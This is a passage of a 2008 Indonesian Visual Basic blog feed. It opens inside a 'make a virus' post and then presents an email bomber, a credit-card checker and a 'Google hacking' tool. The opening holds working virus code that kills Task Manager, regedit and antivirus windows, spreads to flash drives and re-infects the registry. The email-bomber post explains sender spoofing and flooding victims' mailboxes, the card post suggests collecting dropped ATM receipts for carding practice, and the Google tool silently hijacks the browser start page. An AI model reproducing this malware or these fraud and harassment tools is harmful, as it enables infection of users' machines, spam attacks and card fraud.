/&gt;BuatXls&lt;br /&gt;obj.Visible = True&lt;br /&gt;Timer1.Enabled = True&lt;br /&gt;Timer2.Enabled = False&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer3_Timer()&lt;br /&gt;On Error Resume Next&lt;br /&gt;'menutup aplikasi yang berbahaya bagi virus&lt;br /&gt;FWnd = FindWindow("#32770", "RUN") 'jendela run&lt;br /&gt;SendMessage FWnd, WM_CLOSE, 0&amp;amp;, 0&amp;amp;&lt;br /&gt;FWnd = FindWindow("#32770", "System Configuration Utility") 'msconfig&lt;br /&gt;SendMessage FWnd, WM_CLOSE, 0&amp;amp;, 0&amp;amp;&lt;br /&gt;FWnd = FindWindow("#32770", "Windows Task Manager") 'task manager&lt;br /&gt;SendMessage FWnd, WM_CLOSE, 0&amp;amp;, 0&amp;amp;&lt;br /&gt;FWnd = FindWindow("#32770", "Avira AntiVir Personal – Free Antivirus") 'Avira Antivir&lt;br /&gt;SendMessage FWnd, WM_CLOSE, 0&amp;amp;, 0&amp;amp;&lt;br /&gt;FWnd = FindWindow("#32770", "AntiVir Guard: Attention, Detection!") 'Avira Antivir&lt;br /&gt;SendMessage FWnd, WM_CLOSE, 0&amp;amp;, 0&amp;amp;&lt;br /&gt;FWnd = FindWindow("RegEdit_RegEdit", vbNullString) 'regedit.exe&lt;br /&gt;SendMessage FWnd, WM_CLOSE, 0&amp;amp;, 0&amp;amp;&lt;br /&gt;FWnd = FindWindow("TMainForm", vbNullString) 'aplikasi buatan Delphi (Antivirus PCMAV yang versi lama dapat ditutup tetapi versi yang baru tidak bisa dihentikan) &amp;lt;:d&lt;br /&gt;SendMessage FWnd, WM_CLOSE, 0&amp;amp;, 0&amp;amp;&lt;br /&gt;FWnd = FindWindow("TApplication", vbNullString) 'aplikasi buatan Delphi&lt;br /&gt;SendMessage FWnd, WM_CLOSE, 0&amp;amp;, 0&amp;amp;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer4_Timer()&lt;br /&gt;'cari flashdisk&lt;br /&gt;On Error Resume Next&lt;br /&gt;For i = 0 To Drive1.ListCount - 1&lt;br /&gt;If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) &amp;lt;&amp;gt; "a" Then&lt;br /&gt;FlashDisk = (Drive1.List(i))&lt;br /&gt;Timer4.Enabled = False 'agar lampu flashdisk tdk berkedip-kedip terlalu lama, sehingga tdk mencurigakan si empunya flashdisk&lt;br /&gt;Exit For&lt;br /&gt;End If&lt;br /&gt;Next&lt;br /&gt;GandaKeFlashDisk '&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer5_Timer()&lt;br /&gt;On Error Resume Next&lt;br /&gt;InfeksiRegistry&lt;br /&gt;'Mungkin salah satu virus dihapus shg perlu selalu menggandakan diri&lt;br /&gt;GandakefolderIstimewa&lt;br /&gt;'menyalakan timer 4&lt;br /&gt;If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) &amp;lt;&amp;gt; "a" Then&lt;br /&gt;Timer4.Enabled = True&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)&lt;br /&gt;Cancel = 1&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Unload(Cancel As Integer)&lt;br /&gt;Cancel = 1&lt;br /&gt;End Sub&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Semoga bermanfaat.&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;</content><link href="http://vbasiccode.blogspot.com/feeds/2522121197916888344/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2008/08/membuat-virus.html#comment-form" rel="replies" title="9 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/2522121197916888344" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/2522121197916888344" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2008/08/membuat-virus.html" rel="alternate" title="Membuat Virus" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-8060334544575255659</id><published>2008-08-10T00:47:00.008+07:00</published><updated>2010-07-16T23:34:33.818+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="HACK"/><title type="text">Email Bomber (Mengebom Email Orang Lain)</title><content type="html">Program kita kali ini agak berbahaya tapi semua materi di blog ini bukan untuk mengajak ke arah negatif tapi hanya untuk menambah pengetahuan kita saja, penulis tidak bertanggung jawab terhadap penggunaan dari materi yang telah diposting &lt;br /&gt;Kita akan membahas program mail bomber, program ini berfungsi untuk mengirim email dengan nama pengirim sesuka kita (misal:Admin@vbasiccode.com) padahal kita tidak memiliki server vbasiccode.com dan juga email dapat kita kirim dalam jumlah banyak hingga mungkin akan memenuhi mailbox server/tukang pos (tempat smtp server yang rela mengirim email tanpa diverifikasi), dan jika email yang kita tuju (email korban/email asli) dibuka maka surat/email kita akan juga beralih memenuhi mailbox korban.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_48czvH0DaKc/SJ3Z9-0neOI/AAAAAAAAADE/xtuMz6TJhOg/s1600-h/gmaill.jpg" imageanchor="1" style="background-color: transparent; border: 0px none; margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/_48czvH0DaKc/SJ3Z9-0neOI/AAAAAAAAADE/VVQsEV7Z37E/s400-R/gmaill.jpg" style="border: 0px none;" wc="true" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_48czvH0DaKc/SJ3Zy5oXhOI/AAAAAAAAAC8/9rY8g42WLWk/s1600-h/emailbomb.jpg" imageanchor="1" style="background-color: transparent; border: 0px none; margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/_48czvH0DaKc/SJ3Zy5oXhOI/AAAAAAAAAC8/Fa6C6eC-oh0/s400-R/emailbomb.jpg" style="border: 0px none;" wc="true" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Jadi prinsip dari Email Bomber ini adalah mengirim sebanyak-banyak pesan dengan alamat email palsu kita sehingga memenuhi server/tukang pos, dan jika si empunya email/korban menarik surat maka gantian korban yang mailboxnya kebanjiran surat kita. Akibat dari mail bomber ini adalah menghabiskan ruang hardisk server serta korban sehingga resourcenya habis. Seperti yang anda lihat pada gambar saya menggunakan email &lt;a href="mailto:tes@testes.com"&gt;tes@testes.com&lt;/a&gt; (palsu) dengan subject (Topik) dan Body/isi email (Tesemail) dan mengirimkan email ke alamat email saya yang asli sebanyak 10 dan ternyata 10 email berhasil terkirim walaupun oleh google ditempatkan dikotak SPAM.Untuk tips pilih server yang kira-kira mau mengirim email kita, misal pada pilihan saya pilih www.swampfoxairboats.com. Email saya jangan di bomb ya..untuk uji coba lebih baik pada email anda sendiri sayapun tidak pernah melakukan pada email orang lain sampai saat ini he..he..Semoga menambah pengetahuan kita.&lt;br /&gt;Silahkan &lt;a href="http://www.4shared.com/file/58392070/44398ce5/Email_Bomber.html"&gt;Download Project&lt;/a&gt; Di Download/Upload Gratis &lt;a href="http://www.4shared.com/ref/4563476/1"&gt;Join 4Shared Now!&lt;/a&gt;, Tetapi sebelumnya jika anda berkenan berikan rating pada artikel ini dengan mengklik tanda bintang di bawah ini, agar saya mengetahui artikel yang paling menarik untuk penulisan selanjutnya. Terimakasih.&lt;br /&gt;&lt;br /&gt;*Telah saya Update Aplikasi silahkan Download UpdateEmailBomber.zip&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;</content><link href="http://vbasiccode.blogspot.com/feeds/8060334544575255659/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2008/08/membuat-email-palsu-email-bomber.html#comment-form" rel="replies" title="19 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/8060334544575255659" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/8060334544575255659" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2008/08/membuat-email-palsu-email-bomber.html" rel="alternate" title="Email Bomber (Mengebom Email Orang Lain)" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://2.bp.blogspot.com/_48czvH0DaKc/SJ3Z9-0neOI/AAAAAAAAADE/VVQsEV7Z37E/s72-c-r/gmaill.jpg" width="72"/><thr:total>19</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-7780364727175028193</id><published>2008-07-19T20:29:00.007+07:00</published><updated>2010-07-16T23:35:17.500+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Tips And Trick"/><title type="text">Cek Nomer Kartu Kredit (Carding kah..?)</title><content type="html">Program kali ini kita akan belajar untuk mengetahui keaslian nomor kartu kredit "seseorang", apakah nomornya benar atau hanya nomor asal-asalan.&lt;br /&gt;Jika anda pernah mampir ke dalam sebuah ATM (Mesin Uang), tentu anda pernah melihat struk pengambilan yang tercecer di lantai, nah nomor-nomor yang tertera di kertas struk tersebut merupakan nomor kartu kredit. Dengan nomor yang ada (jika ada sih, beberapa bank tidak mencetak nomor kartu kredit di struk) mungkin dapat digunakan seseorang untuk tujuan negatif. Jadi mulai sekarang simpan struk anda saat melakukan transaksi di ATM, dan ambil struk-struk yang tercecer di lantai ATM siapa tahu dapat digunakan untuk latihan carding misal belanja online di internet he..he..&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_48czvH0DaKc/SIHtl6Z1wwI/AAAAAAAAACs/sHwjjue2nQc/s1600-h/false.bmp" imageanchor="1" style="background-color: transparent; border: 0px none; margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/_48czvH0DaKc/SIHtl6Z1wwI/AAAAAAAAACs/j67UhltpLgQ/s320-R/false.bmp" style="border: 0px none;" wc="true" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_48czvH0DaKc/SIHtqT-5daI/AAAAAAAAAC0/n882w5Cy-gc/s1600-h/True.bmp" imageanchor="1" style="background-color: transparent; border: 0px none; margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/_48czvH0DaKc/SIHtqT-5daI/AAAAAAAAAC0/sIb7Ohn35Hs/s320-R/True.bmp" style="border: 0px none;" wc="true" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Langsung saja Yang dibutuhkan dalam pembuatan program ini adalah :&lt;br /&gt;&lt;br /&gt;1. textbox dengan properti name = txtsimpan&lt;br /&gt;&lt;br /&gt;2. dua commandbutton dengan properti name CmdCek dan CmdDelete&lt;br /&gt;&lt;br /&gt;3. satu label dengan properti name lblStatus&lt;br /&gt;&lt;br /&gt;==============================================&lt;br /&gt;&lt;br /&gt;Masukkan semua code di bawah ini ke dalam form&lt;br /&gt;&lt;br /&gt;==============================================&lt;br /&gt;&lt;br /&gt;Function isEven(n As Integer) As Boolean&lt;br /&gt;&lt;br /&gt;isEven = True&lt;br /&gt;&lt;br /&gt;If n And 1 Then isEven = False&lt;br /&gt;&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Function CheckCard(CCnumber As String) As Boolean&lt;br /&gt;&lt;br /&gt;Dim Counter As Integer, TmpInt As Integer&lt;br /&gt;&lt;br /&gt;Dim Answer As Integer&lt;br /&gt;&lt;br /&gt;Counter = 1&lt;br /&gt;&lt;br /&gt;TmpInt = 0&lt;br /&gt;&lt;br /&gt;While Counter &amp;lt;= Len(CCnumber) If isEven(Len(CCnumber)) Then TmpInt = Val(Mid$(CCnumber, Counter, 1)) If Not isEven(Counter) Then TmpInt = TmpInt * 2 If TmpInt &amp;gt; 9 Then TmpInt = TmpInt - 9&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Answer = Answer + TmpInt&lt;br /&gt;&lt;br /&gt;Counter = Counter + 1&lt;br /&gt;&lt;br /&gt;Else&lt;br /&gt;&lt;br /&gt;TmpInt = Val(Mid$(CCnumber, Counter, 1))&lt;br /&gt;&lt;br /&gt;If isEven(Counter) Then&lt;br /&gt;&lt;br /&gt;TmpInt = TmpInt * 2&lt;br /&gt;&lt;br /&gt;If TmpInt &amp;gt; 9 Then TmpInt = TmpInt - 9&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Answer = Answer + TmpInt&lt;br /&gt;&lt;br /&gt;Counter = Counter + 1&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Wend&lt;br /&gt;&lt;br /&gt;Answer = Answer Mod 10&lt;br /&gt;&lt;br /&gt;If Answer = 0 Then CheckCard = True&lt;br /&gt;&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Private Sub CmdCek_Click()&lt;br /&gt;&lt;br /&gt;If TxtSimpan.Text = "" Then&lt;br /&gt;&lt;br /&gt;LblStatus.Caption = "Isi Dahulu TextBoxnya !"&lt;br /&gt;&lt;br /&gt;Else&lt;br /&gt;&lt;br /&gt;LblStatus.Caption = CheckCard(TxtSimpan.Text)&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub CmdDelete_Click()&lt;br /&gt;&lt;br /&gt;TxtSimpan.Text = ""&lt;br /&gt;&lt;br /&gt;LblStatus.Caption = "Ketik No Kartu Yang Ingin Di Cek."&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;&lt;br /&gt;TxtSimpan.Text = ""&lt;br /&gt;&lt;br /&gt;LblStatus.Caption = "Ketik No Kartu Yang Ingin Di Cek."&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub TxtSimpan_Change()&lt;br /&gt;&lt;br /&gt;If Len(TxtSimpan.Text) &amp;lt; 16 Then LblStatus.Caption = "Nomer Kartu Kredit Terdiri Dari 16 Angka" End If End Sub Private Sub TxtSimpan_KeyPress(KeyAscii As Integer) If KeyAscii &amp;lt; 47 Or KeyAscii &amp;gt; 57 Then KeyAscii = 0&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;=============================&lt;br /&gt;&lt;br /&gt;Akhirnya Semoga bermanfaat.&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;</content><link href="http://vbasiccode.blogspot.com/feeds/7780364727175028193/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2008/07/cek-nomer-kartu-kredit-carding-kah.html#comment-form" rel="replies" title="13 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/7780364727175028193" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/7780364727175028193" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2008/07/cek-nomer-kartu-kredit-carding-kah.html" rel="alternate" title="Cek Nomer Kartu Kredit (Carding kah..?)" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://4.bp.blogspot.com/_48czvH0DaKc/SIHtl6Z1wwI/AAAAAAAAACs/j67UhltpLgQ/s72-c-r/false.bmp" width="72"/><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-913477597860410459</id><published>2008-07-06T01:16:00.008+07:00</published><updated>2010-07-16T23:36:02.726+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Basic"/><category scheme="http://www.blogger.com/atom/ns#" term="Tips And Trick"/><title type="text">Tool Google Hacking</title><content type="html">Pada kesempatan ini akan dipaparkan penggunaan mesin pencari informasi Google, untuk mendapatkan informasi yang tersembunyi dan sangat penting. Dimana informasi tersebut tidak terlihat melalui metode pencarian biasa. Kecenderungan penggunaan teknik ini pada awalnya digunakan untuk mendapatkan informasi sebanyak banyaknya kepada target mesin ataupun mendapatkan hak akses yang tidak wajar. Pencarian informasi secara akurat, cepat dan tepat didasari oleh berbagai macam motif dan tujuan, semoga saja paparan ini digunakan untuk tujuan mencari informasi dengan tujuan yang tidak destruktif, tetapi ialah untuk membantu pencarian informasi yang tepat, cepat dan akurat untuk tujuan yang baik dan bermanfaat.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_48czvH0DaKc/SG-8U5kfQzI/AAAAAAAAACY/6DF86kXcfOM/s1600-h/GoogleHacking.bmp"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5219597560382964530" src="http://4.bp.blogspot.com/_48czvH0DaKc/SG-8U5kfQzI/AAAAAAAAACY/6DF86kXcfOM/s320/GoogleHacking.bmp" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_48czvH0DaKc/SG-8U0hnPHI/AAAAAAAAACg/8FI1u0WRaX0/s1600-h/Google.bmp"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5219597559028726898" src="http://4.bp.blogspot.com/_48czvH0DaKc/SG-8U0hnPHI/AAAAAAAAACg/8FI1u0WRaX0/s320/Google.bmp" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Skema alur pemrograman pada aplikasi kita kali ini adalah membuka file GoogleHacking.txt yang terdapat dalam satu folder dengan aplikasi yang sedang dibuat. File GoogleHacking.txt merupakan kumpulan Syntax-syntax Google Hacking yang berjumlah ratusan syntax.Selanjutnya mengkopi syntax yang diinginkan lalu klik tombol google untuk membuka file Google.html yang telah dimodifikasi (Lihat gambar di atas). Setelah itu paste-kan syntax pada kotak penelusuran google, dan dapatkan informasi yang tersembunyi dari syntax tersebut. Semoga bermanfaat.&lt;br /&gt;&lt;br /&gt;Langsung saja,Siapkan 2 commandbutton, 1 Textbox yang terpasang multiline dalam 1 form.&lt;br /&gt;&lt;br /&gt;===================================&lt;br /&gt;&lt;br /&gt;Tulis kode di bawah ini dalam form1&lt;br /&gt;&lt;br /&gt;===================================&lt;br /&gt;&lt;br /&gt;'panggil url/Google.html&lt;br /&gt;&lt;br /&gt;Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long&lt;br /&gt;&lt;br /&gt;Const conSwNormal = 1&lt;br /&gt;&lt;br /&gt;Private Sub CmdGoogle_Click()&lt;br /&gt;&lt;br /&gt;On Error Resume Next ' jika ada kesalahan maka lanjutkan&lt;br /&gt;&lt;br /&gt;Dim fso, a, regrun, b, c 'meminta jatah memori&lt;br /&gt;&lt;br /&gt;Set fso = CreateObject("Scripting.FileSystemObject") ' menggunakan file scripting object&lt;br /&gt;&lt;br /&gt;Set b = fso.GetFile("Google.Html") ' melalui fso untuk mendapatkan file Google.html yang terdapat di dalam satu folder dengan aplikasi ini&lt;br /&gt;&lt;br /&gt;'Membuat folder Baru&lt;br /&gt;&lt;br /&gt;Set c = fso.CreateFolder("C:\H@CK3RT00L")&lt;br /&gt;&lt;br /&gt;c.Attributes = 6 ' memberi attribut folder H@CK3RT00L menjadi hidden&lt;br /&gt;&lt;br /&gt;b.Copy ("C:\H@CK3RT00L\Google.Html") ' mlakukan copy file Google.Html ke dalam folder H@CK3RT00L&lt;br /&gt;&lt;br /&gt;Set a = fso.GetFile("C:\Google.Html")&lt;br /&gt;&lt;br /&gt;b.Attributes = 6&lt;br /&gt;&lt;br /&gt;Set regrun = CreateObject("Wscript.shell") 'membuat regrun untuk melakukan perubahan script di registry&lt;br /&gt;&lt;br /&gt;regrun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "C:\H@CK3RT00L\Google.Html" 'setiap menjalankan Internet Eksplorer maka pertama yang terbuka adalah Google.html&lt;br /&gt;&lt;br /&gt;ShellExecute hwnd, "open", "C:\H@CK3RT00L\Google.Html", vbNullString, vbNullString, conSwNormal ' menjalankan/mengeksekusi Google.html&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;&lt;br /&gt;End 'tutup&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;&lt;br /&gt;lblStatus.Caption = "Copy Syntax Yang Dipilih, Kemudian Klik Tombol Google."&lt;br /&gt;&lt;br /&gt;On Error GoTo ErrHandler ' jika terjadi kesalahan maka menuju ErrHandler&lt;br /&gt;&lt;br /&gt;Open "GoogleHacking.txt" For Input As #1 'membuka file GoogleHacking.txt yang terdapat dalam satu folder dengan aplikasi ini&lt;br /&gt;&lt;br /&gt;Text1.Text = Input(LOF(1), #1)&lt;br /&gt;&lt;br /&gt;Close&lt;br /&gt;&lt;br /&gt;Exit Sub&lt;br /&gt;&lt;br /&gt;ErrHandler: 'membuat pernyataan terjadinya kesalahan&lt;br /&gt;&lt;br /&gt;MsgBox "File GoogleHacking.txt Tidak Bisa Dibuka"&lt;br /&gt;&lt;br /&gt;End&lt;br /&gt;End Sub&lt;br /&gt;================================&lt;br /&gt;&lt;br /&gt;Semoga bermanfaat.&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;</content><link href="http://vbasiccode.blogspot.com/feeds/913477597860410459/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2008/07/tool-google-hacking.html#comment-form" rel="replies" title="8 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/913477597860410459" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/913477597860410459" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2008/07/tool-google-hacking.html" rel="alternate" title="Tool Google Hacking" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://4.bp.blogspot.com/_48czvH0DaKc/SG-8U5kfQzI/AAAAAAAAACY/6DF86kXcfOM/s72-c/GoogleHacking.bmp" width="72"/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-1720379808482217874</id><published>2008-06-23T16:16:00.006+07:00</published><updated>2010-07-16T23:36:49.254+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Tips And Trick"/><title type="text">Install Multi Software dalam Satu Keping CD/DVD</title><content type="html">Software ini dibuat dengan tujuan untuk lebih memudahkan penginstalan aplikasi,yaitu&lt;br /&gt;dengan hanya menggunakan satu DVD/CD maka aplikasi standar yang dibutuhkan akan dapat langsung dipenuhi tanpa harus menyiapkan beberapa CD yang berisi software yang diperlukan.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_48czvH0DaKc/SF9yHdk_bhI/AAAAAAAAACI/ZODoO6oRd_E/s1600-h/ImgInstalMultiFostware.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5215012366042754578" src="http://2.bp.blogspot.com/_48czvH0DaKc/SF9yHdk_bhI/AAAAAAAAACI/ZODoO6oRd_E/s400/ImgInstalMultiFostware.jpg" style="cursor: pointer; display: block; margin: 0px auto 10px; text-align: center;" /&gt;&lt;/a&gt;&lt;br /&gt;Dengan syarat :&lt;br /&gt;1.software yang diperlukan harus anda copy dulu pada folder software dan menyesuaikan nama software tersebut dengan code yang berada pada project.&lt;br /&gt;2.Compile project dengan nama InstallMultiSoftware.exe, atau jika ingin memberi nama lain maka anda harus mengubah file InstallMultiSoftware.exe.manifest menjadi file sesuai dengan nama hasil compile dengan beerakhiran .manifest. Misal anda memberi nama software dengan SoftwareKu.exe maka anda mengubah InstallMultiSoftware.exe.manifest menjadi SoftwareKu.exe.manifest.&lt;br /&gt;File berakhiran manifest merupakan file yang berfungsi memberikan efek pada tombol dari Visual Basic berkesan Windows XP.&lt;br /&gt;4.Buat file Autorun.inf, dengan cara :&lt;br /&gt;Buka Notepad lalu ketik :&lt;br /&gt;[Autorun]&lt;br /&gt;icon=instalmultisoftware.exe&lt;br /&gt;open=instalmultisoftware.exe&lt;br /&gt;Simpan dengan nama Aotorun.inf&lt;br /&gt;3.Bakar/Burn dalam DVD/CD File-file berikut :&lt;br /&gt;- InstallMultiSoftware.exe&lt;br /&gt;- InstallMultiSoftware.exe.manifest&lt;br /&gt;- Autorun.inf&lt;br /&gt;- Folder ActiveX&lt;br /&gt;- Folder Audio&lt;br /&gt;- Folder Sekilas Aplikasi&lt;br /&gt;- Folder Software yang telah berisi software-software anda.&lt;br /&gt;4.Setelah anda menginstall windows maka aplikasi yang telah anda buat dan anda bakar akan sangat berguna karena tidak perlu memasukan dan mengeluarkan puluhan CD yang berisi software yang anda perlukan.&lt;br /&gt;Terimakasih, semoga bermanfaat.&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;</content><link href="http://vbasiccode.blogspot.com/feeds/1720379808482217874/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2008/06/install-banyak-software-dalam-satu.html#comment-form" rel="replies" title="8 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/1720379808482217874" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/1720379808482217874" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2008/06/install-banyak-software-dalam-satu.html" rel="alternate" title="Install Multi Software dalam Satu Keping CD/DVD" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" 